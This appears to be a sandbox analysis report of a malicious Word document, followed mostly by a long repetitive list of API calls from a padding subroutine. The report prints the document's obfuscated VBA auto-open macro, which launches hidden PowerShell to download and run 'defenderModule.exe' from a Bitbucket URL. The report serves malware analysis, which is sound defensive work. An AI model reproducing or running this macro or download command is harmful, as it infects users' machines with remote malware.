                                                                                                                                                      System Behavior

                                                                                                                                                      Analysis Process: WINWORD.EXE PID: 5544 Parent PID: 792

                                                                                                                                                      General

                                                                                                                                                      Start time:09:05:02
                                                                                                                                                      Start date:27/12/2020
                                                                                                                                                      Path:C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding
                                                                                                                                                      Imagebase:0x1300000
                                                                                                                                                      File size:1937688 bytes
                                                                                                                                                      MD5 hash:0B9AB9B9C4DE429473D6450D4297A123
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high

                                                                                                                                                      Chronological Activities

                                                                                                                                                      Disassembly

                                                                                                                                                      VBA Code

                                                                                                                                                      Call Graph

                                                                                                                                                      Graph

                                                                                                                                                      Module: ThisDocument

                                                                                                                                                      Declaration
                                                                                                                                                      LineContent
                                                                                                                                                      1

                                                                                                                                                      Attribute VB_Name = "ThisDocument"

                                                                                                                                                      2

                                                                                                                                                      Attribute VB_Base = "1Normal.ThisDocument"

                                                                                                                                                      3

                                                                                                                                                      Attribute VB_GlobalNameSpace = False

                                                                                                                                                      4

                                                                                                                                                      Attribute VB_Creatable = False

                                                                                                                                                      5

                                                                                                                                                      Attribute VB_PredeclaredId = True

                                                                                                                                                      6

                                                                                                                                                      Attribute VB_Exposed = True

                                                                                                                                                      7

                                                                                                                                                      Attribute VB_TemplateDerived = True

                                                                                                                                                      8

                                                                                                                                                      Attribute VB_Customizable = True

                                                                                                                                                      Executed Functions
                                                                                                                                                      Subroutine Document_Open, APIs: 15, Strings: 12, Number of lines: 21, Relevance: 49.021
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      Part of subcall function xwygun72@ThisDocument: p_

                                                                                                                                                      Part of subcall function xwygun72@ThisDocument: UBound

                                                                                                                                                      Part of subcall function xwygun72@ThisDocument: LBound

                                                                                                                                                      Part of subcall function xwygun72@ThisDocument: UBound

                                                                                                                                                      Chr

                                                                                                                                                      Replace

                                                                                                                                                      Replace

                                                                                                                                                      Replace

                                                                                                                                                      CreateObject

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: p_

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: LBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Chr

                                                                                                                                                      exec

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "w"""h"""p""bu"t"ob"""k"k")"b"\x7f""b""""
                                                                                                                                                      " /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'"
                                                                                                                                                      "aower"
                                                                                                                                                      "sheaa"
                                                                                                                                                      ".axa"
                                                                                                                                                      "a"
                                                                                                                                                      "p"
                                                                                                                                                      "a"
                                                                                                                                                      "l"
                                                                                                                                                      "a"
                                                                                                                                                      "e"
                                                                                                                                                      "S""W""g""v""m""tp"*"W"""l""""a""h"""h"""
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      4320

                                                                                                                                                      Private Sub Document_Open()

                                                                                                                                                      4322

                                                                                                                                                      Dim stra as String

                                                                                                                                                      executed
                                                                                                                                                      4323

                                                                                                                                                      stra = xwygun72(Chr(119) & "" & "h" & "" & Chr(112) & "" & Chr(98) & Chr(117) & "t" & Chr(111) & Chr(98) & "" & "k" & Chr(107) & ")" & Chr(98) & "\x7f" & "b" & "")

                                                                                                                                                      Chr

                                                                                                                                                      4325

                                                                                                                                                      Dim str as String

                                                                                                                                                      4326

                                                                                                                                                      str = " /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'"

                                                                                                                                                      4328

                                                                                                                                                      Dim st1 as String

                                                                                                                                                      4329

                                                                                                                                                      Dim st2 as String

                                                                                                                                                      4330

                                                                                                                                                      Dim st3 as String

                                                                                                                                                      4332

                                                                                                                                                      st1 = "aower"

                                                                                                                                                      4333

                                                                                                                                                      st2 = "sheaa"

                                                                                                                                                      4334

                                                                                                                                                      st3 = ".axa"

                                                                                                                                                      4337

                                                                                                                                                      Dim str1 as String

                                                                                                                                                      4338

                                                                                                                                                      Dim str2 as String

                                                                                                                                                      4339

                                                                                                                                                      Dim str3 as String

                                                                                                                                                      4341

                                                                                                                                                      str1 = Replace(st1, "a", "p")

                                                                                                                                                      Replace

                                                                                                                                                      4342

                                                                                                                                                      str2 = Replace(st2, "a", "l")

                                                                                                                                                      Replace

                                                                                                                                                      4343

                                                                                                                                                      str3 = Replace(st3, "a", "e")

                                                                                                                                                      Replace

                                                                                                                                                      4346

                                                                                                                                                      Dim ws2asd as Object

                                                                                                                                                      4347

                                                                                                                                                      Set ws2asd = CreateObject(vw823nw7(Chr(83) & "" & Chr(87) & "" & Chr(103) & "" & Chr(118) & "" & Chr(109) & "" & Chr(116) & Chr(112) & "*" & Chr(87) & "" & "l" & "" & "a" & "h" & "" & Chr(104) & ""))

                                                                                                                                                      CreateObject

                                                                                                                                                      Chr

                                                                                                                                                      4348

                                                                                                                                                      ws2asd.exec (str1 + str2 + str3 + str)

                                                                                                                                                      exec

                                                                                                                                                      4350

                                                                                                                                                      End Sub

                                                                                                                                                      Non-Executed Functions
                                                                                                                                                      Subroutine maisLixo, APIs: 1558, Strings: 1216, Number of lines: 1218, Relevance: 4857.468
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

